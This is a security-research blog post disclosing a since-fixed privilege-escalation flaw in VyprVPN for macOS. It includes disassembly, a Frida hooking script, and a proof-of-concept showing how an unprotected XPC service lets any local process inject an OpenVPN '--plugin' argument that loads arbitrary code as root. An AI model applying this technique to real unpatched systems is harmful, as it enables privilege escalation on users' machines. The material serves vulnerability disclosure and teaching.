Exploiting VyprVPN for MacOS

Exploiting VyprVPN for MacOS

Advisory for Privilege Escalation Vulnerability

In 2017, VerSprite released an advisory for a privilege escalation vulnerability in the VyprVPN for MacOS application.


When performing attack surface enumeration for any macOS application, I typically search for XPC (Cross Process Communication) API usage. I’ve found that rarely do I see XPC services in third-party applications being secured, so it tends to always be a focal point for my bug hunting efforts.

I’m not going to deep dive XPC internals in this blog, so I would highly suggest reading Ian Beer’s slides, which cover this topic in depth.

For now all we need to know is that XPC is a form of inter-process communication and XPC message typically take the form of a dictionary which can contain various types such as arraysstrings, etc. Observing the output from nm on the VyprVPN binary, it looks like the application is indeed utilizing various XPC functions.

╭─rotlogix@carcossa /Applications/VyprVPN.app/Contents/MacOS
╰─$ nm VyprVPN | grep xpc

U __xpc_type_dictionary
U _xpc_connection_create_mach_service
U _xpc_connection_resume
U _xpc_connection_send_message_with_reply
U _xpc_connection_set_event_handler
U _xpc_copy_description
U _xpc_dictionary_create
U _xpc_dictionary_get_data
U _xpc_dictionary_set_data
U _xpc_get_type

The first thing I want to know is whether the VyprVPN application is functioning as a client, and also what endpoint it is connecting to. In order to figure this out, let’s focus on the xpc_connection_create_mach_service function.

xpc_connection_t xpc_connection_create_mach_service(const char *name, dispatch_queue_t targetq, uint64_t flags);



The name of the remote service with which to connect. The service name must exist in a Mach bootstrap that is accessible to the process and be advertised in a launchd.plist.
Apple’s documentation tells us that the first argument passed to the xpc_connection_create_mach_service function is the name of the remote service with which to connect. After loading the VyprVPN binary into IDA and looking up cross-references to the xpc_connection_create_mach_servicefunction, we can observe that xpc_connection_create_mach_service is being called from -[VyprVPNProxy sendRequest:withCompletionHandler:].

Exploiting VyprVPN for MacOS

After only a quick glance at the disassembly, we can spot the name of the service being passed in RDI before the xpc_connection_create_mach_service is invoked.

add     rdx, rdx
lea     rdi, aVyprvpnservice_3 ; "vyprvpnservice"
xor     esi, esi
call    _xpc_connection_create_mach_service

The -[VyprVPNProxy sendRequest:withCompletionHandler:] function contains most the of the core functionality when it comes to creating new XPC connections and sending out XPC messages. Before we dive into what is being sent via the XPC messages, let’s figure out who is serving up the vyprvpnservice XPC endpoint.


The VyprVPN application can be configured to auto-connect to a selected VPN endpoint once the operating system has finished booting. So this means the application probably installed a LaunchDaemon. After digging into the available LaunchDaemons, we find our target.

rotlogix@carcossa /Library/LaunchDaemons
╰─$ ls -la
-rw-r--r--   1 root  wheel   547 Dec  8 15:01 vyprvpnservice.plist
<!--?xml version="1.0" encoding="UTF-8"?-->






Just as expected the vyprvpnservice binary contains XPC API usage, including the xpc_connection_create_mach_service function.

╭─rotlogix@carcossa /Library/PrivilegedHelperTools
╰─$ nm vyprvpnservice | grep xpc
U __xpc_type_connection
U __xpc_type_dictionary
U _xpc_connection_cancel
U _xpc_connection_create_mach_service
U _xpc_connection_resume
U _xpc_connection_send_message
U _xpc_connection_set_event_handler
U _xpc_dictionary_create_reply
U _xpc_dictionary_get_data
U _xpc_dictionary_get_remote_connection
U _xpc_dictionary_set_data
U _xpc_get_type

Now we need to figure out what the VyprVPN application is sending to the vyprvpnservice via XPC and how the vyprvpnservice is processing and operating on the data within the XPC messages. When I am reverse engineering applications that are utilizing XPC, I’ll typically start looking for cross-references to any xpc_dictionary_get_* type functions. Let’s focus our attention on _xpc_dictionary_get_data`.

const void * xpc_dictionary_get_data(xpc_object_t xdict, const char *key, size_t *length);
Gets a raw data value from a dictionary directly.

The xpc_dictionary_get_data function is called indirectly from the -[ServiceListener start] function, which is responsible for dealing with inbound XPC connections and processing XPC messages. The data returned from the xpc_dictionary_get_data function is converted into an NSData object and passed to the +[JsonShim objectFromData:] function.

-[ServiceListener start]
lea     rsi, aData_1    ; "data"
lea     rdx, [rbp+var_88]
mov     rdi, r15
call    _xpc_dictionary_get_data
mov     rdi, cs:classRef_NSData ; void *
mov     rcx, [rbp+var_88]
mov     rsi, cs:selRef_dataWithBytes_length_ ; char *
mov     r12, cs:_objc_msgSend_ptr
mov     rdx, rax
call    r12 ; _objc_msgSend
mov     rdi, rax
call    _objc_retainAutoreleasedReturnValue
mov     [rbp+var_90], rax
mov     rdi, cs:classRef_JsonShim ; void *
mov     rsi, cs:selRef_objectFromData_ ; char *
mov     rdx, rax
call    r12 ; _objc_msgSend

The JsonShim class is basically a wrapper for the NSJSONSerialization class, which provides functionality for serializing and deserializing JSON to and from Foundation objects.

+[JsonShim objectFromData:
mov     rdi, cs:classRef_NSJSONSerialization ; void *
mov     [rbp+var_30], 0
mov     rsi, cs:selRef_JSONObjectWithData_options_error_ ; char *
lea     r8, [rbp+var_30]
xor     ecx, ecx
mov     rdx, r14
call    cs:_objc_msgSend_ptr

+ (id)JSONObjectWithData:(NSData *)data options:(NSJSONReadingOptions)opt error:(NSError * _Nullable *)error;

Returns a Foundation object from given JSON data.

The object returned from the JSONObjectWithData function is passed to the -[ServiceListener handleServiceRequest:] function. The JSON data contains a keyword that is used by the -[ServiceListener handleServiceRequest:] function in order to select the appropriate service handler for processing the request. Here is a list of the service handlers that are available to the -[ServiceListener handleServiceRequest:] function.

-[CancelHandler handleRequest:]
-[ClearAutomaticPortsHandler handleRequest:]
-[ConnectHandler handleRequest:]
-[ConnectionLogServiceHandler handleRequest:]
-[CrashHandler handleRequest:]
-[CrashReportHandler handleRequest:]
-[DisconnectHandler handleRequest:]
-[FlushDNSCacheHandler handleRequest:]
-[GetAllHandler handleRequest:]
-[GetOptimizedMTUHandler handleRequest:]
-[GetSingleUseTokenServiceHandler handleRequest:]
-[KextTalkServiceHandler handleRequest:]
-[LoginHandler handleRequest:]
-[MalwareContentPolicyHandler handleRequest:]
-[OpenVPNArgsHandler handleRequest:]
-[PrepareForUpdate handleRequest:]
-[PropertyAccessServiceHandler handleRequest:]
-[ProvideCredentialsServiceHandler handleRequest:]
-[SplitTunnelPreferenceAccess handleRequest:]
-[SupportHandler handleRequest:]
-[TestHandler handleRequest:]
-[TumbleCommandHandler handleRequest:]
-[UniqueBindingHandler handleRequest:]
-[UserActivityHandler handleRequest:]
-[WatchVyprProcessHandler handleRequest:]

I know, I know, I know -[KextTalkServiceHandler handleRequest:], WTF right? For now we are only going to cover the -[OpenVPNArgsHandler handleRequest:] handler and save everything else for another time.

To be honest with you, I stopped reversing the vyprvpnservice right then and there. After seeing the -[OpenVPNArgsHandler handleRequest:] function my assumption was that I could control the arguments passed to the openvpn binary through an XPC message. To validate this claim, I needed to start inspecting the JSON data in the XPC messages created in the VyprVPN application before they were sent to the vyprvpnservice. So, I crafted the following Frida script to be injected into the VyprVPN process:

var NSJSONSerialization = ObjC.classes.NSJSONSerialization;
var JsonShim = ObjC.classes.JsonShim;
var dataFromObject = JsonShim["+ dataFromObject:"];
var jsonFromObject = NSJSONSerialization["+ JSONObjectWithData:options:error:"];
var dataWithJSONObject = NSJSONSerialization["dataWithJSONObject:options:error:"];

Interceptor.attach(jsonFromObject.implementation, {
onEnter: function(args) {
console.log('{+} Hooked + JSONObjectWithData:options:error: [!]');
var data = new ObjC.Object(args[2]);
console.log('{+} ' + Memory.readUtf8String(data.bytes(), data.length()));
onLeave: function(ret) {
return ret;

Interceptor.attach(dataWithJSONObject.implementation, {
onEnter: function(args) {
console.log('{+} Hooked dataWithJSONObject:options:error: [!]');
onLeave: function(ret) {
var data = new ObjC.Object(ret);
console.log('{+} ' + Memory.readUtf8String(data.bytes(), data.length()));
return ret;

The Frida script is hooking the JsonShim class and its functions for serializing the outgoing JSON data and deserializing the incoming JSON data.

  • The dataWithJSONObject function will be called during the processing of building a new XPC message.
  • The jsonFromObject will be called when receiving the XPC message reply from the vyprvpnservice endpoint.

The next step is to figure out how to trigger a new XPC message that operates on the OpenVPN parameters. After messing around in the main user interface, I found the following option.

Exploiting VyprVPN for MacOS

After looking at the current parameters set for the OpenVPN client, I somehow reached down into my brain and came back with a thought, “.. I feel like someone told me you could load additional shared-libraries via OpenVPN’s parameters ..”.

Exploiting VyprVPN for MacOS

Using Shared Object or DLL Plugins

Shared object or DLL plugins are usually compiled C modules which are loaded by the OpenVPN server at run time. For example if you are using an RPM-based OpenVPN package on Linux, the openvpn-auth-pam plugin should be already built. To use it, add this to the server-side config file::

plugin /usr/share/openvpn/plugin/lib/openvpn-auth-pam.so login

In order to test my theory out, I injected my Frida script in the VyprVPN process, then submitted the following additional argument:

--payload /tmp/payload

Sure enough, this action triggered a new XPC connection and message. The output below is from my Frida script:

{+} Hooked dataWithJSONObject:options:error: [!]
{+} {"RequestedKey":"openvpn_additional_params","Value":"--plugin /tmp/payload","Action":"set"}
{+} Hooked + JSONObjectWithData:options:error: [!]
{+} {"ReplyContainsAnswer":false,"ReturnCode":0,"ReplyName":"openvpn_additional_params"}

All we need to do now is generate a simple dynamic library and start building our exploit!

Exploit Development

The dynamic library used for the PoC is simple and contains the following code:

void ctor(int argc, const char* argv[], const char* envp[], const char* apple[], const struct ProgramVars* vars) {
NSLog(@"[+] Loaded by OpenVPN [!]");

For our exploit to work, it needs to contain the following operations:

  • Create a new XPC connection to the vyprvpnservice endpoint
  • Serialize our JSON payload using the NSJSONSerializationdatawithObject function
  • Convert the resulting NSDictionary to a NSData object
  • Create a new xpc_dictionary and store the NSData object in the dictionary
  • Send the XPC message
  • Process the response

Let’s run it!

2018-01-23 14:19:03.877306-0500 CobraCommander[22155:2549601] [+] Connecting to vyprvpnservice [!]
2018-01-23 14:19:03.877355-0500 CobraCommander[22155:2549601] [+] Service connection successfull [!]
2018-01-23 14:19:03.877398-0500 CobraCommander[22155:2549601] [+] Building XPC dictionary [!]
2018-01-23 14:19:03.877491-0500 CobraCommander[22155:2549601] [+] XPC dictionary creation finished [!]
2018-01-23 14:19:03.877503-0500 CobraCommander[22155:2549601] [+] Sending XPC message with updated params --plugin /Users/rotlogix/Development/Plugin/libPlugin [!]
2018-01-23 14:19:03.878400-0500 CobraCommander[22155:2550011] [+] Received response from XPC service [!]
2018-01-23 14:19:03.878467-0500 CobraCommander[22155:2550011] [+]  { count = 1, transaction: 0, voucher = 0x0, contents =
"data" => : { length = 84 bytes, contents = 0x7b225265706c79436f6e7461696e73416e73776572223a66... }
2018-01-23 14:19:03.878670-0500 CobraCommander[22155:2550011] [+] {
ReplyContainsAnswer = 0;
ReplyName = "openvpn_additional_params";
ReturnCode = 0;

Alright, we should have successfully updated OpenVPN’s arguments. Once we tell VyprVPN to make a new VPN connection, this should load and execute our dynamic library. If we open up the console and search for openvpn, we should see the following output:

default 14:20:34.852864 -0500   openvpn [+] Loaded by OpenVPN [!]


First of all, I would like to give a shout out to the Golden Frog team for resolving this issue so quickly. If you’re using VyprVPN for macOS, I would suggest updating to the newest version if you haven’t already, which includes the fix for this vulnerability.



Protect Your Assets from Various Threat Actors

VerSprite’s Research and Development division (a.k.a VS-Labs) is comprised of individuals who are passionate about diving into the internals of various technologies.

Our clients rely on VerSprite’s unique offerings of zero-day vulnerability research and exploit development to protect their assets from various threat actors.

From advanced technical security training to our research for hire B.O.S.S offering, we help organizations solve their most complex technical challenges. Learn more about Research as a Service →



View our security advisories detailing vulnerabilities found in major products for MacOs, Windows, Android, and iOS.